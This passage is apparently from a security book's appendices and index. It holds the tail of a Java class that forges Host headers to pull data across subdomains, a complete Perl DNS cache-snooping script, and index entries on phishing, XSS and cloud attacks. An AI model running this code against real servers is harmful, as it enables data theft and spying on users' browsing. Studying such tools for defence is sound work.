request(mymethod,myrequest,myhost,myreferer,myparameters);\n }\n public void request(String httpmethod, String request,\n String host, String referer, String parameters)\n {\n //\n // HttpURLConnection must be used in a try... sorry yoda\n //\n try\n {\n jackedstuff = \"\";\n // Use HttpURLConnection because it allows for\n // arbitrary Host Headers\n URL url = new URL(request);\n HttpURLConnection conn = (HttpURLConnection)url.openConnection();\n DataInputStream input;\n // Setup the request\n conn.setRequestMethod(httpmethod);\n conn.setAllowUserInteraction(false);\n conn.setDoOutput(true);\n // Modify the HTTP Headers\n conn.setRequestProperty(\"Referer\", referer);\n conn.setRequestProperty(\"User-Agent\",\n \"Mozilla/4.0 (compatible; MSIE 7.0b;\n Windows NT 6.0\");\n262 | Appendix A: Chapter 2 Source Code Samples\nDownload at WoWeBook.Com\n" }, { "page_number": 279, "text": " //\n // Modification of the HOST header\n // allows us to \"Jump\" Subdomains\n //\n conn.setRequestProperty(\"Host\", host);\n conn.setRequestProperty(\"Pragma\", \"no-cache\");\n System.out.println(httpmethod);\n // getOutputSteam doesn't allow GETs...\n // this is a workaround \n if(httpmethod.equalsIgnoreCase(\"GET\"))\n {\n conn.connect();\n }\n else\n {\n byte[] parameterinbytes;\n parameterinbytes = parameters.getBytes();\n conn.setRequestProperty\n(\"Content-Type\", \"application/x-www-form-urlencoded\");\n conn.setRequestProperty\n(\"Content-length\", String.valueOf(parameterinbytes.length));\n OutputStream ost = conn.getOutputStream();\n ost.write(parameterinbytes);\n ost.flush();\n ost.close();\n }\n // Get response data.\n input = new DataInputStream (conn.getInputStream ());\n String str;\n while (null != ((str = input.readLine())))\n {\n jackedstuff += str;\n }\n input.close();\n }\n catch (Exception e)\n {\n System.out.println(e.getMessage());\n }\n }\n public void paint(Graphics g)\n {\n try\n {\n // UI Stuff, not really needed for exploitation\n g.setFont(bigFont);\n g.setColor(Color.white);\nHiddenClass.java | 263\nDownload at WoWeBook.Com\n" }, { "page_number": 280, "text": " g.drawString(\"h0n0! Your data has been stolen! \",20,20);\n g.setColor(Color.black);\n }\n catch (Exception e)\n {\n }\n }\n}\n264 | Appendix A: Chapter 2 Source Code Samples\nDownload at WoWeBook.Com\n" }, { "page_number": 281, "text": "APPENDIX B\nCache_Snoop.pl\nCache_snoop.pl is a script to aid in exploiting DNS servers that are susceptible to DNS\ncache snooping. The script enumerates a list of domain names, obtained from a text\nfile, and verifies whether the remote DNS server contains a record for any given domain\nname. In addition, the script compares the TTL value obtained from the authoritative\nname server to see when the record was originally requested.\n#!/usr/bin/perl\n# cache_snoop.pl\n# Developed by: Brett Hardin\n$version = \"1.0\";\nuse Getopt::Long;\nmy $options = GetOptions (\n \"help\" => \\$help,\n \"save\" => \\$save,\n \"dns=s\" => \\$dns_server,\n \"ttl\" => \\$ttl_option,\n \"queries=s\" => \\$queries\n);\nif($help ne \"\") { &Help; }\nif($dns_server eq \"\") { die \"Usage: cache_snoop.pl -dns \n-queries \\n\"; }\nopen(FILE, $queries) or die \"Usage: cache_snoop.pl -dns \n-queries \\n\";\n@sites = ;\n#FIRST RUN IS FOR FINDING OUT DEFAULT TTL\nif($ttl_option ne \"\") {\nprint \"Finding Default TTL's...\\n\";\n&default_TTL;\n}\nfor $site (@sites) {\n chomp($site);\n $default_TTL = $TTL_list{$site};\n265\nDownload at WoWeBook.Com\n" }, { "page_number": 282, "text": " if($site =~ /^\\#/) { print $site . \"\\n\"; next; }\n if($site =~ /^$/) { print \"\\n\"; next;}\n $results = `dig \\@$dns_server $site A +norecurse`;\n if ($results =~ /ANSWER: 0,/) {\n print \"[NO] \" . $site . \" not visited\\n\";\n }\n else {\n @edited_result = split(/\\n/, $results);\n @greped_result = grep(/^$site\\./, @edited_result);\n @A_Broke = split(/\\s+/, $greped_result[0]);\n $TTL = $A_Broke[1];\n print \"[YES] \" . $site . \" ($TTL\";\n if($ttl_option ne \"\") {\n &timeLeft;\n print \"/$default_TTL) - Initial Request was made:\n$LAST_VISITED\\n\";\n }\n else { print \" TTL)\\n\"; }\n if($save ne \"\") {\n print $results; die;\n open(OUTPUT, \">$site.DNS.txt\");\n print OUTPUT $results;\n close(OUTPUT);\n }\n }\n}\nsub timeLeft{\n$seconds = ($default_TTL - $TTL);\n@parts = gmtime($seconds);\n$LAST_VISITED = \"$parts[7]d $parts[2]h $parts[1]m $parts[0]s\";\n}\nsub default_TTL {\n# This function returns the default TTL\n# To do this, you need to find the DNS server from the root DNS server\n# then query that DNS server for the site you are looking for, it will\nreturn the default TTL\n%DNS_list = ();\n%TTL_list = ();\n # Find the NS for the site\n for $site (@sites) {\n if($site =~ /^\\#/) { next; }\n if($site =~ /^$/) { next;}\n chomp($site);\n #QUERY the TLD domain\n $query_result_1 = `dig \\@a.gtld-servers.net $site`;\n @edited_query_1 = split(/\\n/, $query_result_1);\n266 | Appendix B: Cache_Snoop.pl\nDownload at WoWeBook.Com\n" }, { "page_number": 283, "text": " $found = 0;\n # Find the DNS server\n for $each (@edited_query_1) {\n if ($found == 1) {\n @A_Broke = split(/\\s+/, $each);\n $root_DNS = $A_Broke[0];\n last;\n }\n if($each =~ /ADDITIONAL SECTION:/) { $found = 1; }\n }\n $DNS_list{$site} = $root_DNS;\n }\n print \"Done with Name Server lookup...\\n\";;\n # Find the TTL from the default NS server.\n foreach $site (sort keys %DNS_list) {\n #print \"$site: $DNS_list{$site}\\n\";\n $DNS_SERVER = $DNS_list{$site};\n #QUERY the TLD domain\n $query_result_2 = `dig \\@$DNS_SERVER $site`;\n @edited_query_2 = split(/\\n/, $query_result_2);\n $found = 0;\n # Find the DNS server\n for $each (@edited_query_2) {\n if ($found == 1) {\n @A_Broke = split(/\\s+/, $each);\n $default_TTL = $A_Broke[1];\n last;\n }\n if($each =~ /ANSWER SECTION:/) { $found = 1; }\n }\n #print $site . \" default TTL: $default_TTL\\n\";\n $TTL_list{$site} = $default_TTL;\n }\n print \"Done with TTL lookups...\\n\";\n foreach $site (sort keys %TTL_list) {\n print \"$site - $TTL_list{$site}\\n\";\n }\n}\nsub Help {\n print \"\\n\";\n print \"#################################\\n\";\n print \"# #\\n\";\n print \"# cache_snoop.pl v$version #\\n\";\n print \"# #\\n\";\n print \"#################################\\n\\n\";\n print \"usage: $0 -dns -queries \\n\";\n print \"\\n\";\n print \"purpose: Exploit a DNS server that allows 3rd party\nCache_Snoop.pl | 267\nDownload at WoWeBook.Com\n" }, { "page_number": 284, "text": "queries to determine what sites\\n\";\n print \" the DNS servers users have been going to.\\n\";\n print \"\\n\";\n print \" Options:\\n\\n\";\n print \" -help What your looking at.\\n\";\n print \" -dns [required] DNS server\nsucceptable to 3rd party queries\\n\";\n print \" -queries file with the queries you would\nlike to make [Default: queries.txt]\\n\";\n print \" -save Save the DNS responses that are\nreceived to individual text files.\\n\";\n print \" -ttl Will lookup the default TTL's\nand compare them with what the server has.\\n\";\n print \"\\n\";\n print \"Sample Output:\\n\";\n print \"[NO] fidelity.com not visited\\n\";\n print \"[YES] finance.google.com (165020) visited\\n\";\n print \"[Visited] site (TTL)\\n\";\n print \"\\n\\n\";\n exit;\n}\n268 | Appendix B: Cache_Snoop.pl\nDownload at WoWeBook.Com\n" }, { "page_number": 285, "text": "Index\nA\naccess to mobile devices (physical), 174–175\naccessing wireless networks, for attacks, 152–\n162\nACTION attribute, FORM objects, 29\nactive attacks over wireless networks, 162–\n165\nAddress Resolution Protocol (see ARP,\nexploiting)\naddresses (see email addresses)\nairport hotspots, 163\nairport meeting, contriving, 208\nAmazon Machine Images (AMIs), 124–126\nCSRF with, 131–136\ndeleting AMI key pairs, 135\ninitializing evil AMIs, 131\nterminating AMIs, 133\ndefault security settings, 140\nAmazon Web Services (AWS), CSRF with, 136–\n140\ncreating new access keys, 137\ndeleting X.509 certificates, 138\nAmazon’s Elastic Compute Cloud (EC2), 122\nAmazon Machine Images (AMIs), 124–126,\n131–136\ndefault security settings, 140\ndeleting AMI key pairs, 135\ninitializing evil AMIs, 131\nterminating AMIs, 133\nAmazon Web Services (AWS), 136–140\ncreating new access keys, 137\ndeleting X.509 certificates, 138\ndefault settings, vulnerabilities with, 140\nweb management consoles, 129–140\nAMIs (Amazon Machine Images), 124–126\nCSRF with, 131–136\ndeleting Ami key pairs, 135\ninitializing evil AMIs, 131\nterminating AMIs, 133\ndefault security settings, 140\nApp Engine, 122, 127–129\nApple Safari (see Safari browser)\napplication code, hacking search engines for,\n11\napplication interaction vulnerabilities (see\nblended attacks)\napplication protocol handlers, 93–102\nConficker worm, 115–118\nfinding on Linux, 101–102\nfinding on Mac OS X, 99–101\nfinding on Windows, 96–98\nFireFoxUrl:// handler, 108–111\niPhoto format string, 114–115\nmailto:// handler, 93\nand ShellExecute API, 111–114\nSafari’s carpet bomb, 103–106\nAppServ Open Project as phishing tool, 180\nARP, exploiting, 80–84\npoisoning attacks, about, 81\nusing Cain & Abel, 81–82–84\nassistants of executives, targeting, 238–239\nassumptions (security), identifying, 119\nasynchronous pluggable protocol handlers, 99\nAT&T cellular phones, 171\n“ATM PIN,” Google search on, 196\nATM skimming, 198–199\nattack surface, Web browser, 26\nattacks on executives, 223–240\nfully targeted versus opportunistic, 223\nWe’d like to hear your suggestions for improving our indexes. Send email to index@oreilly.com.\n269\nDownload at WoWeBook.Com\n" }, { "page_number": 286, "text": "information gathering, 226–232\nidentifying the executives, 226, 233\nidentifying the trusted circle, 227–230,\n233, 238\nTwitter for, 230–232\nmotives for, 224–226\nscenarios for, 232–240\nemail attacks, 233–238\nmemory stick attacks, 239–240\ntargeting assistants, 238–239\nauthentication credentials (see passwords;\nusernames)\nauto-forwarding email messages, 170\nautomating\nsearch engine hacking, 8\nXSS with XMLHttpRequest object, 34–37,\n46\nAutorun.inf file, Conficker worm and, 116\navailability of cloud services, attacking, 143\nAWS (Amazon Web Services), CSRF with, 136–\n140\ncreating new access keys, 137\ndeleting X.509 certificates, 138\nB\nBank of America phishing case study, 184–\n189\nbenefits of attacking executives, 226\nbilling abuse (cloud computing), 141–144\nblackmail of executives, 224\nblended attacks, 91–120\napplication protocol handlers, 93–102\nfinding on Linux, 101–102\nfinding on Mac OS X, 99–101\nfinding on Windows, 96–98\nConficker worm, 115–118\nfinding threats, 118–119\nFireFoxUrl:// protocol handler, 108–111\niPhoto format string, 114–115\nmailto:// and ShellExecute API, 111–114\nSafari’s carpet bomb, 103–106\nbreaking in (see physical penetration)\nbreaking locks (physical), 3\nbridging applications (see blended attacks)\nbrowsers\nattacks with, 26\n(see also inside-out attacks)\nexecuting DLLs on desktop, 103\nFireFoxUrl:// protocol handler and, 108–\n111\nlaunching protocol handlers (see\napplication protocol handlers)\nbrowsers, specific (see Internet Explorer 7;\nSafari browser)\nbrute force attacks\nexample scenarios, 248\non Telnet or FTP, 74–75\non WhatsUp Gold Professional (example),\n43\nfor wireless access credentials, 157\nBurp Intruder utility, 157\nbuying and selling identities, 197–198\nC\nCabetas, Erik, 98\ncached data, 7\nARP poisoning, 81–82\ncloud account credentials, 144–146\nDNS, snooping, 85–88\ncache_snoop.pl script, 87, 265\nCain & Abel, 81–82\nfor wireless network attacks, 162, 167\ncalendar data, 21, 201–206\ndiscovering conference calls with, 203–204\ninterpreting calendar personalities, 204–\n206\ntypes of calendar information, 202–203\ncall centers (see social engineering, call centers)\ncaller ID spoofing, 171–174, 243\ncampus presence, 3\ncarpet bomb (Safari), 103–106\ncase studies, 241–253\ndisgruntled employee, 241–245\n“silver bullet” security products, 245–252\ncell phone voicemail attacks, 171–174\nCha0 (phisher), 198–199\nchrome arguments, 110\ncigarette smokers, as easy targets, 4\nCingular cellular phones, 171\ncloud computing, about, 121–123\ncloud computing attacks, 123–146\nbilling model abuse and phishing, 141–144\nmanagement console attacks, 126–140\npoisoned virtual machines, 124–126\ntrial account credentials, 144–146\ncloud security, 122\ncode.google.com site, 51–54\n270 | Index\nDownload at WoWeBook.Com\n" }, { "page_number": 287, "text": "code, hacking search engines for, 11\ncollecting information (see intelligence\ngathering methods)\ncommunication protocols, exploiting, 71–88\nARP, 80–84\npoisoning attacks, about, 81\nsniffing SSH on switched networks, 82–\n84\nusing Cain & Abel, 81–82\nDNS, for remote reconnaissance, 84–88\nSMTP, 77–80, 77–78–80\nTelnet and FTP, 72–76\nbrute force attacks, 74–75\nhijacking sessions, 75–76\nsniffing credentials, 72–74\ncompany information, as important, 22\ncomplexity, as vulnerability, 91\n(see also blended attacks)\nconference calls, joining, 203–204, 243–244\nConficker worm, 115–118\ncontent ownership, 48–62\nFlash’s crossdomain.xml, 49–50\nGIFAR files, 54–62\nJava, abusing, 51–54\nControl Channel IFRAME, 35, 36\ncontrolFrameFunction() method (example),\n36\nconversations\njoining conference calls, 203–204, 243–244\nmimicking email message style, 216\noverheading at corporate site, 3\nscheduled, published in calendars, 202\nsocial engineering call centers, 6–7\nspeaking usernames and passwords, 244\nvoicemail attacks, 171–174\ncookies\nhijacking with (see session hijacking)\nHTTPONLY attribute, 28\nrestoring after session theft, 32\nstolen usernames and passwords, 31\nXMLHttpRequest objects, 34–37, 46\ncorporate firewalls, typical deployment of, 38\ncorporate information, as important, 22\ncredentials (see passwords; usernames)\ncredit cards, mobile devices and, 152\nCross Domain Contents IFRAME, 35, 36\ncross-site request forgery (CSRF), 37–48\nat Amazon.com domain, 131–140\ncross-site scripting (XSS), 26–37\nat Amazon.com domain, 129\nCSRF inside-out attacks with, 39–48\nexample attack, 250–252\nFireFoxUrl:// protocol handler and, 109\ninjecting content, 28–30\nstealing credentials, 30–33\nstealing sessions, 27–28\nusing XMLHttpRequest object, 34–37, 46\ncrossdomain.xml (Flash), abusing, 49–50\nCSI Stick device, 175\nCSRF (cross-site request forgery), 37–48\nat Amazon.com domain, 131–140\nD\nData Channel IFRAME, 35, 36\nDDoS (distributed denial-of-service) attacks,\n142\nDefaultIcon registry key (mailto key), 96\ndeleting AMI key pairs, 135\ndeleting X.509 certificates forcibly, 138\ndesktop, executing DLLs on, 103\nDhanjani, Nitesh, 104, 171\ndialog (see conversations)\ndirect attacks over wireless networks, 162–165\ndirectory indexing, 185\ndisgruntled employee (case study), 241–245\ndistributed denial-of-service (DDoS) attacks,\n142\nDLLs on desktop, executing, 103\ndocument shredding, 2\ndocument stores, stealing from, 55–62\ndocuments (see files)\ndomain names\ndeceptively similar, 203\nsecurity requirement with (see same origin\npolicy)\ndorks (search engine queries), 7\nDownadup (see Conficker worm)\ndrives, Conficker worms and, 116\nDUHforMac program, 100\nDump URL Handlers (DUH) program, 97\nDUHforMac, 100\ndumpster diving, 2\nE\ne-gold service, 198\nEC2 (Elastic Compute Cloud, Amazon), 122\nIndex | 271\nDownload at WoWeBook.Com\n" }, { "page_number": 288, "text": "Amazon Machine Images (AMIs), 124–126,\n131–136\ndefault security settings, 140\ndeleting AMI key pairs, 135\ninitializing evil AMIs, 131\nterminating AMIs, 133\nAmazon Web Services (AWS), 136–140\ncreating new access keys, 137\ndeleting X.509 certificates, 138\ndefault settings, vulnerabilities with, 140\nweb management consoles, 129–140\negos, of executives, 226\nElastic Compute Cloud (EC2) (see EC2)\nelectronic locks, defeating, 175\nemail addresses\nchoosing to lure executives, 235–238\nharvesting with theHarvester, 16\nphishing with guestbooks, 182–184\nemail attacks on executives, 233–238\nemail messages\nauto-forwarding to other account, 170\nconstructing for phishing, 238\nmimicking style of, 216\nsnooping, through SMTP, 77–78\nspoofing, for social engineering, 78–80\nemotion dashboard, 219\nemotions of victims, 217–220\ncorporate executives, 226\nemployees\nconversations (see conversations)\ndisgruntled (case study), 241–245\nemail addresses (see email addresses)\nfollowing into buildings, 5\nlearning about (see intelligence gathering\nmethods)\nlists of, 16\ntracking, 16–21\nvulnerabilities of (see people as\nvulnerabilities)\non wireless networks, 150–151\nenterprise-level software vulnerabilities, 40\nexecutives, hacking, 223–240\nattack scenarios, 232–240\nemail attacks, 233–238\nmemory stick attacks, 239–240\ntargeting assistants, 238–239\nfully targeted versus opportunistic attacks,\n223\ninformation gathering, 226–232\nidentifying the executives, 226, 233\nidentifying the trusted circle, 227–230,\n233, 238\nTwitter for, 230–232\nmotives for, 224–226\nexecutives’ assistants, targeting, 238–239\nF\nFacebook application, 12–14, 88, 207\n(see also social networks, leveraging)\ncopying profiles to other applications, 239\nfeed:// protocol handler, 63–66\nfeelings analysis of social spaces, 217–220\nFile Transfer Protocol (see Telnet and FTP,\nexploiting)\nfilesystem, stealing from, 63–68\nusing feed:// protocol handler, 63–66\nusing Java, 66–68\nfinancially motivated attackers, 224\nfinding open hotspots, 150\nFireFoxUrl:// application protocol handler,\n108–111\nfirewalls, typical deployment of, 38\nflash drive attacks, 239–240\nFlash’s crossdomain.xml, 49–50\nfollowing employees into buildings, 5\nfootprinting open hotspots, 150\nforeign countries, attacks from, 225\nforging email style, 216\n“Forgot your password?” feature, 13, 212\nforgotten passwords (see passwords)\nFORM objects, redirecting from, 29\nforwarding email messages, 170\nfree Internet access (see open wireless\nnetworks)\nFTP (see Telnet and FTP, exploiting)\nfully targeted attacks against executives, 223\nfullz (identity content), 197–198\nG\ngathering information (see intelligence\ngathering methods)\nGHDB (Google Hacking Database), 8\nGIFAR files, 54–62\nGIFs indicative of software, searching for, 41\ngoog-mail.py script, 16\nGoogle Calendar, 21, 202\n(see also calendar data)\n272 | Index\nDownload at WoWeBook.Com\n" }, { "page_number": 289, "text": "Google Docs, stealing from, 56–62\nGoogle Earth, 5\nGoogle hacking, 7\nGoogle Hacking Database (GHDB), 8\nGoogle Maps, viewing open hotspots on, 151\nGoogle search on “ReZulT”, 196–197\nGoogle translation service, 62\nGoogleCode passwords, 51–54\nGoogle’s App Engine, 122, 127–129\ngopher:// protocol handler, 106\nguestbooks, as phishing tools, 182–184\ngWiFi.net service, 151\ngym lockers, breaking into, 175\nH\nhacking executives, 223–240\nattack scenarios, 232–240\nemail attacks, 233–238\nmemory stick attacks, 239–240\ntargeting assistants, 238–239\nfully targeted versus opportunistic attacks,\n223\ninformation gathering, 226–232\nidentifying the executives, 226, 233\nidentifying the trusted circle, 227–230,\n233, 238\nTwitter for, 230–232\nmotives for, 224–226\nhandheld devices (see mobile device attacks)\nhanging out at site, 3\n“here is the code” search, 12\nhijacking sessions (see session hijacking)\nHKEY_CLASSES_ROOT registry key, 96\nHoekstra, Pete, 15\nhotel-based wireless access, 156–161\nhotspots, wireless (see mobile device attacks)\nHTTPONLY cookie attribute, 28\nhuman vulnerabilities (see people as\nvulnerabilities)\nHunt program, 75\nHydra utility, 74, 248\nhyperlinks (see URLs)\nI\nidentifying specific mobile devices, 153\nidentity theft content, phished, 197–198\nIFRAMEs, injecting (see injecting content)\nimage attacks (see GIFAR files)\nimages indicative of software, searching for,\n41\nimportant information, recognizing, 22–23\ninformation to influence people, 201–221\ncalendar data, 21, 201–206\nemotional responses (psyche), 217–220\nsocial identities, 207–217\ninitiating evil AMIs, 131\ninjecting content, 28–30\ninside-out attacks, 25–69\naccessing Telnet service, 74\ncontent ownership insecurities, 48–62\nFlash’s crossdomain.xml, 49–50\nGIFAR files, 54–62\nJava, abusing, 51–54\ncross-site scripting (XSS)\nat Amazon.com domain, 129\nwith CSRF (cross-site request forgery), 37–\n48\nat Amazon.com domain, 131–140\nstealing files from filesystem, 63–68\nusing feed:// protocol handler, 63–66\nusing Java, 66–68\nwith XSS (cross-site scripting), 26–37\nCSRF attacks with, 39–48\nexample attack, 250–252\nFireFoxUrl:// protocol handler and, 109\ninjecting content, 28–30\nstealing credentials, 30–33\nstealing sessions, 27–28\nusing XMLHttpRequest object, 34–37,\n46\nintellectual property (see sensitive information)\nintelligence gathering methods, 1–23\nattacks on executives, 226–232\nidentifying the executives, 226, 233\nidentifying the trusted circle, 227–230,\n233, 238\nTwitter for, 230–232\nDNS cache snooping, 84–88\ndumpster diving, 2\nemployee tracking, 16–21\nGoogle Earth, 5\nto influence people, 201–221\nusing social identities, 207–217\nusing victim’s calendar, 21, 201–206\nusing victim’s emotions (psyche), 217–\n220\nlurking on site, 3\nIndex | 273\nDownload at WoWeBook.Com\n" }, { "page_number": 290, "text": "physical security engineering, 1–5\nrecognizing important information, 22–23\nsearch engine hacking, 7–12\nsocial engineering call centers, 6–7\nsocial networks (see social networks,\nleveraging)\nfor wireless access attacks, 151, 158, 166\ninteractions, software (see blended attacks)\nInternet Explorer 7, 103\n(see also web browsers)\nFireFoxUrl:// protocol handler and, 108–\n111\nmailto:// and ShellExecute API, 111–114\nIP addresses\nassignment, 41\ntranslation of (see ARP, exploiting)\nwireless access and, 165\niPhoto format string exploit, 114–115\nJ\nJAR files, 51\n(see also GIFAR files)\nparsing criterion for, 63\nuploading to code.google.com, 52\nJava\nabusing content ownership, 51–54\nusing to steal files, 66–68\nJava Runtime Environment (JRE), 51\nJavaScript content, injecting, 28–30\nJavaScript storage of injected content, 28\njob postings, 19\njoining conference calls, 203–204, 243–244\nJPGs indicative of software, searching for, 41\nJRE (Java Runtime Environment), 51\nL\nlaptops (see mobile device attacks)\nlaunching evil AMIs, 131\nLifehacker.com site, 54\nLinkedIn application, 13, 20, 88, 210, 233\n(see also social networks, leveraging)\nlinks (see URLs)\nLinux, application protocol handlers on, 101–\n102\nlists of employees, 16\nlive phishing sites, 178–179\nloadPolicyFile() method (Flash), 50\nlocating open hotspots, 150\nlockers, breaking into, 175\nlocks, bypassing, 3\nlogical separation, cloud computing, 122\nlogin data (see passwords; usernames)\nlogin page, injecting into, 32\nlogout page, forcing requests for, 32\nlurkng on site, 3\nM\nMAC addresses for wireless hotspots, 153\nMAC addressing (see ARP, exploiting)\nMac OS X, application protocol handlers on,\n99–101\nmail() function, in phishing script (example),\n189\nmailsnarf utility, 77\nmailto:// protocol handler, 93\nShellExecute API and, 111–114\nman-in-the-middle attacks, 75\nSSH sniffing, 82\nmanagement console attacks (cloud\ncomputing), 126–140\nmapping open hotspots, 151\nMcFeters, Nate, 114\nmedia (removable), Conficker worm and, 116\nmemory stick attacks, 239–240\nmetadata, extracting from online documents,\n9\nmetagoofil.py script, 10, 11\nMetasploit utility, 165\nmicroblogging (see Twitter application)\nMicrosoft Live accounts, 212\nmimicking email style, 216\nmobile device attacks, 149–176\nattack scenario, 166–171\ncaller ID spoofing, 171–174, 243\ndirect attacks over wireless networks, 162–\n165\nemployees on wireless networks, 150–151\nexecutives’ devices, 224\nphysical access to devices, 174–175\nmoney\nas attack motivation, 224\nselling information for, 224\ntransfer service, for phishers, 198\nMonster.com application, 19\nmotives for executive attacks, 224–226\nMS08-067 vulnerability, 116\nmulti-application attacks (see blended attacks)\n274 | Index\nDownload at WoWeBook.Com\n" }, { "page_number": 291, "text": "MySpace application, 12, 20, 210\n(see also social networks, leveraging)\ncopying profiles to other applications, 239\nlogin credentials as clear-text, 168\nN\nNameChk application, 232\nnetwork analysis, 212\nnetwork communication protocols, exploiting,\n71–88\nARP, 80–84\npoisoning attacks, about, 81\nsniffing SSH on switched networks, 82–\n84\nusing Cain & Abel, 81–82\nDNS, for remote reconnaissance, 84–88\nSMTP, 77–80, 77–78–80\nTelnet and FTP, 72–76\nbrute force attacks, 74–75\nhijacking sessions, 75–76\nsniffing credentials, 72–74\nnetwork firewalls, typical deployment of, 38\nnetwork interface controllers (NICs), 153\nnetwork shares, Conficker worm and, 118\nnetworking, social (see social networks,\nleveraging; social profiles)\nNICs (network interface controllers), 153\nnonrecursive snooping, 85\nO\nonline calendars (see calendar data)\nonline document stores, stealing from, 55–62\nonline documents, extracting metadata, 9\nonline guestbooks, as phishing tools, 182–184\nopen wireless networks\naccessing, for attacks, 152–162\nattack scenario, 166–171\ndirect attacks over, 162–165\nemployees on, 150–151\noperating system, registering application\nprotocol handlers with, 93\nopportunistic attacks against executives, 223\norganizational information, as important, 22\nOrganizationally Unique Identifiers (OUIs),\n153\noverhearing conversations, 3\nownership, content, 48–62\nFlash’s crossdomain.xml, 49–50\nGIFAR files, 54–62\nJava, abusing, 51–54\nP\npacket sniffing (see entries at sniffing)\nPalin, Sarah, 14\npalm computers (see mobile device attacks)\nParaben Corporation, 175\nparsing URLs for sensitive data, 144–146\npassive sniffing, 162\npasswords\nbreaking, using social identifies, 212–217\nbrute force attacks on, 248\nfor calendars, 202\nfor cloud provider trial accounts, 144–146\nfor conference call services, 204\nfor email accounts, value of, 165\nFacebook, 13\nobtaining wirelessly, 168\nphishers’ guestbook accounts, 182\nfor phone voicemail, 171–174\nredirecting from forms, 29\nresetting, facility for, 213\nreused for multiple accounts, 33\nspoken in conversation, 244\nstealing with XSS, 30–33\nTelnet and FTP, sniffing, 72–74\nTelnet and FTP brute force attacks, 74–75\nfor wireless Internet access, 152, 156\nPayPal password reset functionality, 213\nPDFAR files, 56\npeople as vulnerabilities\ncredentials (see passwords; usernames)\ndirect attacks over wireless networks, 162–\n165, 162–165\ndisgruntled employee (case study), 241–\n245\nemployees on wireless networks, 150–151\ninformation to influence people, 201–221\ncalendar data, 21, 201–206\nemotional responses (psyche), 217–220\nsocial identities, 207–217\nsocial engineering call centers, 6–7\nsocial networks (see social networks,\nleveraging)\ntracking employees, 16–21\ntrust (see trusted circles)\nperformance review access (example), 241\nperimeter-based security, 25\nIndex | 275\nDownload at WoWeBook.Com\n" }, { "page_number": 292, "text": "(see also inside-out attacks)\npersonalities, calendar, 204–206\nphishing, 177–200\napproaches to, 179–190\nBank of America case study, 184–189\ncompromising the hosting server, 179–\n181\nlack of sophistication, 189–190\nusing guestbooks as tools, 182–184\ncloud computing, 141–144\nconstructing email for, 238\nlive phishing sites, 178–179\nof phishers (example), 195\nphishing kits, 190–195\ntypical contents of, 193–195\nselecting email address for, 235–238\nunderground ecosystem of, 195–199\nCha0 (phisher) and ATM skimming,\n198–199\nfullz, selling, 197–198\nGoogle ReZulT, 196–197\nXSS vulnerabilities and, 30\nphone access (physical), 174–175, 174–175\nphone conferences, joining, 203–204, 243–\n244\nphone voicemail attacks, 171–174\nphoto:// protocol handler, 115\nphpMyAdmin utility, 180\nphysical access to mobile devices, 174–175\nphysical ATM skimming, 198–199\nphysical penetration, 5\nphysical security engineering, 1–5\nwith Google Earth, 5\nphysical site, presence at, 3\npicking locks (physical), 3\nPicture IFRAME, 35, 36\npiggy-backing, 5\npluggable protocol handlers, asynchronous,\n99\npoisoned virtual machines, 124–126\npoisoning attacks, with ARP, 81\nsniffing SSH on switched networks, 82–84\nusing Cain & Abel, 81–82\npolitically driven attacks, 225\nportable drives, attacking with, 239–240\npricing for cloud services, manipulating, 141–\n144\nprofiles, individual (see social identities)\nprogram code, hacking search engines for, 11\nproprietary information (see sensitive\ninformation)\nprotocol handlers, 93–102\nConficker worm, 115–118\nfinding on Linux, 101–102\nfinding on Mac OS X, 99–101\nfinding on Windows, 96–98\nFireFoxUrl:// handler, 108–111\nmailto:// handler, 93\nand ShellExecute API, 111–114\nSafari’s carpet bomb, 103–106\nprotocols, exploiting, 71–88\nARP, 80–84\npoisoning attacks, about, 81\nsniffing SSH on switched networks, 82–\n84\nusing Cain & Abel, 81–82\nDNS, for remote reconnaissance, 84–88\nSMTP, 77–80, 77–78–80\nTelnet and FTP, 72–76\nbrute force attacks, 74–75\nhijacking sessions, 75–76\nsniffing credentials, 72–74\npsyche, victim, 217–220\ncorporate executives, 226\nlearning about, with calendar data, 204\npublic wireless networks\naccessing, for attacks, 152–162\nattack scenario, 166–171\ndirect attacks over, 162–165\nemployees on, 150–151\nR\nrace conditions, with ARP, 81\nRaff, Aviv, 103\nrates for cloud services, manipulating, 141–\n144, 141–144\nrecognizing important information, 22–23\nreconnaissance (see intelligence gathering\nmethods; social engineering)\nrecursive snooping, 86\nregistering of application protocol handlers,\n93\nrelaying attacks, 78\n“remember my password” feature, 30\nremote access protocols (see Telnet and FTP,\nexploiting)\nremote network shares, Conficker worm and,\n118\n276 | Index\nDownload at WoWeBook.Com\n" }, { "page_number": 293, "text": "removable drives, Conficker worm and, 116\nrequest method, as public, 59\nresearch on victims (see intelligence gathering\nmethods)\nresetting passwords, functionality for, 213\nrestoring cookies after session theft, 32\nresumés, harvesting, 18\nreusing passwords for multiple accounts, 33\nReZulT string (update.php), 196–197\nrisks of attacking executives, 226\nS\nSafari browser\nblended attack with Microsoft Windows,\n91\ncarpet bomb, 103–106\nusing to steal files, 63–68\nusing feed:// protocol handler, 63–66\nusing Java, 66–68\nwarnings about wireless access, 163\nSalesForce.com cloud application, 144–146\nsame origin policy, 48–62\nFlash’s crossdomain.xml, 49–50\nGIFAR files, 54–62\nJava, abusing, 51–54\nscenarios for executive attacks, 232–240\nemail attacks, 233–238\nmemory stick attacks, 239–240\ntargeting assistants, 238–239\n